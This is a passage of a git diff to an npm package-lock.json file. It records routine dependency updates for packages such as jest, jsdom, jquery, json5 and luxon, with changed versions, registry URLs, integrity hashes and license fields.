"integrity": "sha512-0LBWDL3sZ+vyHRYxjqm2irhfwhUXHonjLSbd0oDeGq44U1e1uUh3icWNXYF8HO/UEnOoa6+OJDncLUXP2Hdg9A==", + "node_modules/jest-runner/node_modules/source-map-support": { + "version": "0.5.13", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", + "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", "dev": true, "dependencies": { - "@jest/test-result": "^29.0.1", - "@jest/types": "^29.0.1", + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/jest-runtime": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz", + "integrity": "sha512-gUnLjgwdGqW7B4LvOIkbKs9WGbn+QLqRQQ9juC6HndeDiezIwhDP+mhMwHWCEcfQ5RUXa6OPnFF8BJh5xegwwQ==", + "dev": true, + "dependencies": { + "@jest/environment": "^29.7.0", + "@jest/fake-timers": "^29.7.0", + "@jest/globals": "^29.7.0", + "@jest/source-map": "^29.6.3", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", "@types/node": "*", - "ansi-escapes": "^4.2.1", "chalk": "^4.0.0", - "emittery": "^0.10.2", - "jest-util": "^29.0.1", - "string-length": "^4.0.1" + "cjs-module-lexer": "^1.0.0", + "collect-v8-coverage": "^1.0.0", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-mock": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-watcher/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/jest-snapshot": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz", + "integrity": "sha512-Rm0BMWtxBcioHr1/OX5YCP8Uov4riHvKPknOGs804Zg9JGZgmIBkbtlxJC/7Z4msKYVbIJtfU+tKb8xlYNfdkw==", "dev": true, "dependencies": { - "color-convert": "^2.0.1" + "@babel/core": "^7.11.6", + "@babel/generator": "^7.7.2", + "@babel/plugin-syntax-jsx": "^7.7.2", + "@babel/plugin-syntax-typescript": "^7.7.2", + "@babel/types": "^7.3.3", + "@jest/expect-utils": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "babel-preset-current-node-syntax": "^1.0.0", + "chalk": "^4.0.0", + "expect": "^29.7.0", + "graceful-fs": "^4.2.9", + "jest-diff": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "natural-compare": "^1.4.0", + "pretty-format": "^29.7.0", + "semver": "^7.5.3" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-watcher/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/jest-snapshot/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" }, "engines": { "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" } }, - "node_modules/jest-watcher/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/jest-util": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", + "integrity": "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA==", "dev": true, "dependencies": { - "color-name": "~1.1.4" + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" }, "engines": { - "node": ">=7.0.0" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-watcher/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "node_modules/jest-validate": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz", + "integrity": "sha512-ZB7wHqaRGVw/9hST/OuFUReG7M8vKeq0/J2egIGLdvjHCmYqGARhzXmtgi+gVeZ5uXFF219aOc3Ls2yLg27tkw==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "camelcase": "^6.2.0", + "chalk": "^4.0.0", + "jest-get-type": "^29.6.3", + "leven": "^3.1.0", + "pretty-format": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } }, - "node_modules/jest-watcher/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/jest-validate/node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", "dev": true, "engines": { - "node": ">=8" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/jest-watcher/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/jest-watcher": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz", + "integrity": "sha512-49Fg7WXkU3Vl2h6LbLtMQ/HyB6rXSIX7SqvBLQmssRBGN9I0PNvPmAmCWSOY6SOvrjhI/F7/bGAv9RtnsPA03g==", "dev": true, "dependencies": { - "has-flag": "^4.0.0" + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.13.1", + "jest-util": "^29.7.0", + "string-length": "^4.0.1" }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, "node_modules/jest-worker": { @@ -11986,6 +10484,7 @@ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", "dev": true, + "license": "MIT", "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", @@ -12000,6 +10499,7 @@ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true, + "license": "MIT", "engines": { "node": ">=8" } @@ -12009,6 +10509,7 @@ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, + "license": "MIT", "dependencies": { "has-flag": "^4.0.0" }, @@ -12019,25 +10520,31 @@ "url": "https://github.com/chalk/supports-color?sponsor=1" } }, + "node_modules/jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "dev": true, + "bin": { + "jiti": "bin/jiti.js" + } + }, "node_modules/jquery": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.1.tgz", - "integrity": "sha512-opJeO4nCucVnsjiXOE+/PcCgYw9Gwpvs/a6B1LL/lQhwWwpbVEVYDZ1FokFr8PRc7ghYlrFPuyHuiiDNTQxmcw==" + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.7.1.tgz", + "integrity": "sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==" }, - "node_modules/js-base64": { - "version": "2.6.4", - "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.6.4.tgz", - "integrity": "sha512-pZe//GGmwJndub7ZghVHz7vjb2LgC1m8B07Au3eYqeqv9emhESByMXxaEgkUkEqJe87oBbSniGYoQNIBklc7IQ==", - "dev": true, - "optional": true, - "peer": true + "node_modules/jquery-mousewheel": { + "version": "3.1.13", + "resolved": "https://registry.npmjs.org/jquery-mousewheel/-/jquery-mousewheel-3.1.13.tgz", + "integrity": "sha512-GXhSjfOPyDemM005YCEHvzrEALhKDIswtxSHSR2e4K/suHVJKJxxRCGz3skPjNxjJjQa9AVSGGlYjv1M3VLIPg==" }, "node_modules/js-cookie": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.1.tgz", - "integrity": "sha512-+0rgsUXZu4ncpPxRL+lNEptWMOWl9etvPHc/koSRp6MPwpRYAhmk0dUG00J4bxVV3r9uUzfo24wW0knS07SKSw==", + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/js-cookie/-/js-cookie-3.0.5.tgz", + "integrity": "sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==", "engines": { - "node": ">=12" + "node": ">=14" } }, "node_modules/js-sha3": { @@ -12069,44 +10576,38 @@ "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" }, "node_modules/jsdom": { - "version": "20.0.0", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-20.0.0.tgz", - "integrity": "sha512-x4a6CKCgx00uCmP+QakBDFXwjAJ69IkkIWHmtmjd3wvXPcdOS44hfX2vqkOQrVrq8l9DhNNADZRXaCEWvgXtVA==", - "dev": true, - "dependencies": { - "abab": "^2.0.6", - "acorn": "^8.7.1", - "acorn-globals": "^6.0.0", - "cssom": "^0.5.0", - "cssstyle": "^2.3.0", - "data-urls": "^3.0.2", - "decimal.js": "^10.3.1", - "domexception": "^4.0.0", - "escodegen": "^2.0.0", - "form-data": "^4.0.0", - "html-encoding-sniffer": "^3.0.0", - "http-proxy-agent": "^5.0.0", - "https-proxy-agent": "^5.0.1", + "version": "26.1.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-26.1.0.tgz", + "integrity": "sha512-Cvc9WUhxSMEo4McES3P7oK3QaXldCfNWp7pl2NNeiIFlCoLr3kfq9kb1fxftiwk1FLV7CvpvDfonxtzUDeSOPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssstyle": "^4.2.1", + "data-urls": "^5.0.0", + "decimal.js": "^10.5.0", + "html-encoding-sniffer": "^4.0.0", + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.6", "is-potential-custom-element-name": "^1.0.1", - "nwsapi": "^2.2.0", - "parse5": "^7.0.0", + "nwsapi": "^2.2.16", + "parse5": "^7.2.1", + "rrweb-cssom": "^0.8.0", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", - "tough-cookie": "^4.0.0", - "w3c-hr-time": "^1.0.2", - "w3c-xmlserializer": "^3.0.0", + "tough-cookie": "^5.1.1", + "w3c-xmlserializer": "^5.0.0", "webidl-conversions": "^7.0.0", - "whatwg-encoding": "^2.0.0", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0", - "ws": "^8.8.0", - "xml-name-validator": "^4.0.0" + "whatwg-encoding": "^3.1.1", + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.1.1", + "ws": "^8.18.0", + "xml-name-validator": "^5.0.0" }, "engines": { - "node": ">=14" + "node": ">=18" }, "peerDependencies": { - "canvas": "^2.5.0" + "canvas": "^3.0.0" }, "peerDependenciesMeta": { "canvas": { @@ -12114,58 +10615,23 @@ } } }, - "node_modules/jsdom/node_modules/@tootallnate/once": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", - "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", - "dev": true, - "engines": { - "node": ">= 10" - } - }, - "node_modules/jsdom/node_modules/form-data": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", - "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", - "dev": true, - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "mime-types": "^2.1.12" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/jsdom/node_modules/http-proxy-agent": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", - "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", - "dev": true, - "dependencies": { - "@tootallnate/once": "2", - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, "node_modules/jsesc": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", - "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.0.2.tgz", + "integrity": "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==", "bin": { "jsesc": "bin/jsesc" }, "engines": { - "node": ">=4" + "node": ">=6" } }, "node_modules/json-buffer": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" }, "node_modules/json-parse-even-better-errors": { "version": "2.3.1", @@ -12228,9 +10694,9 @@ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" }, "node_modules/json5": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", - "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", "bin": { "json5": "lib/cli.js" }, @@ -12238,14 +10704,6 @@ "node": ">=6" } }, - "node_modules/jsonfile": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", - "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, "node_modules/jsonify": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", @@ -12283,11 +10741,12 @@ } }, "node_modules/keyv": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.3.3.tgz", - "integrity": "sha512-AcysI17RvakTh8ir03+a3zJr5r0ovnAH/XTXei/4HIv3bL2K/jzvgivLK9UuI/JbU1aJjM3NSAnVvVVd3n+4DQ==", + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", "dependencies": { - "compress-brotli": "^1.3.8", "json-buffer": "3.0.1" } }, @@ -12314,15 +10773,6 @@ "node": ">=6" } }, - "node_modules/klona": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz", - "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==", - "dev": true, - "engines": { - "node": ">= 8" - } - }, "node_modules/level-codec": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/level-codec/-/level-codec-7.0.1.tgz", @@ -12459,12 +10909,16 @@ } }, "node_modules/lilconfig": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.6.tgz", - "integrity": "sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", "dev": true, + "license": "MIT", "engines": { - "node": ">=10" + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" } }, "node_modules/lines-and-columns": { @@ -12483,9 +10937,9 @@ } }, "node_modules/loader-utils": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", - "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", "dev": true, "dependencies": { "big.js": "^5.2.2", @@ -12497,16 +10951,15 @@ } }, "node_modules/locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", "dev": true, "dependencies": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" + "p-locate": "^4.1.0" }, "engines": { - "node": ">=4" + "node": ">=8" } }, "node_modules/lodash": { @@ -12578,7 +11031,8 @@ "version": "4.1.2", "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/lodash.merge": { "version": "4.6.2", @@ -12614,7 +11068,8 @@ "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/loose-envify": { "version": "1.4.0", @@ -12627,17 +11082,6 @@ "loose-envify": "cli.js" } }, - "node_modules/lowercase-keys": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-3.0.0.tgz", - "integrity": "sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ==", - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", @@ -12656,55 +11100,42 @@ "integrity": "sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=" }, "node_modules/luxon": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.0.3.tgz", - "integrity": "sha512-+EfHWnF+UT7GgTnq5zXg3ldnTKL2zdv7QJgsU5bjjpbH17E3qi/puMhQyJVYuCq+FRkogvB5WB6iVvUr+E4a7w==", + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.7.1.tgz", + "integrity": "sha512-RkRWjA926cTvz5rAb1BqyWkKbbjzCGchDUIKMCUvNi17j6f6j8uHGDV82Aqcqtzd+icoYpELmG3ksgGiFNNcNg==", + "license": "MIT", "engines": { "node": ">=12" } }, "node_modules/make-dir": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", - "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", "dev": true, "dependencies": { - "semver": "^6.0.0" + "semver": "^7.5.3" }, "engines": { - "node": ">=8" + "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/make-fetch-happen": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", - "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", + "node_modules/make-dir/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, - "optional": true, - "peer": true, "dependencies": { - "agentkeepalive": "^4.1.3", - "cacache": "^15.2.0", - "http-cache-semantics": "^4.1.0", - "http-proxy-agent": "^4.0.1", - "https-proxy-agent": "^5.0.0", - "is-lambda": "^1.0.1", - "lru-cache": "^6.0.0", - "minipass": "^3.1.3", - "minipass-collect": "^1.0.2", - "minipass-fetch": "^1.3.2", - "minipass-flush": "^1.0.5", - "minipass-pipeline": "^1.2.4", - "negotiator": "^0.6.2", - "promise-retry": "^2.0.1", - "socks-proxy-agent": "^6.0.0", - "ssri": "^8.0.0" + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" }, "engines": { - "node": ">= 10" + "node": ">=10" } }, "node_modules/makeerror": { @@ -12716,18 +11147,21 @@ "tmpl": "1.0.5" } }, - "node_modules/map-obj": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", - "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", - "dev": true, - "optional": true, - "peer": true, + "node_modules/malihu-custom-scrollbar-plugin": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-3.1.5.tgz", + "integrity": "sha512-lwW3LgI+CNDMPnP4ED2la6oYxWMkCXlnhex+s2wuOLhFDFGnGmQuTQVdRK9bvDLpxs10sGlfErVufJy9ztfgJQ==", + "dependencies": { + "jquery-mousewheel": ">=3.0.6" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">= 0.4" } }, "node_modules/md5.js": { @@ -12741,18 +11175,11 @@ } }, "node_modules/mdn-data": { - "version": "2.0.14", - "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", - "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", - "dev": true - }, - "node_modules/media-typer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", - "engines": { - "node": ">= 0.6" - } + "version": "2.0.30", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.30.tgz", + "integrity": "sha512-GaqWWShW4kv/G9IEucWScBx9G1/vsFZZJUO+tD26M8J8z3Kw5RDQjaoZe03YAClgeS/SWPOcb4nkFBTEi5DUEA==", + "dev": true, + "license": "CC0-1.0" }, "node_modules/memdown": { "version": "1.4.1", @@ -12775,116 +11202,12 @@ "xtend": "~4.0.0" } }, - "node_modules/meow": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", - "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "@types/minimist": "^1.2.0", - "camelcase-keys": "^6.2.2", - "decamelize": "^1.2.0", - "decamelize-keys": "^1.1.0", - "hard-rejection": "^2.1.0", - "minimist-options": "4.1.0", - "normalize-package-data": "^3.0.0", - "read-pkg-up": 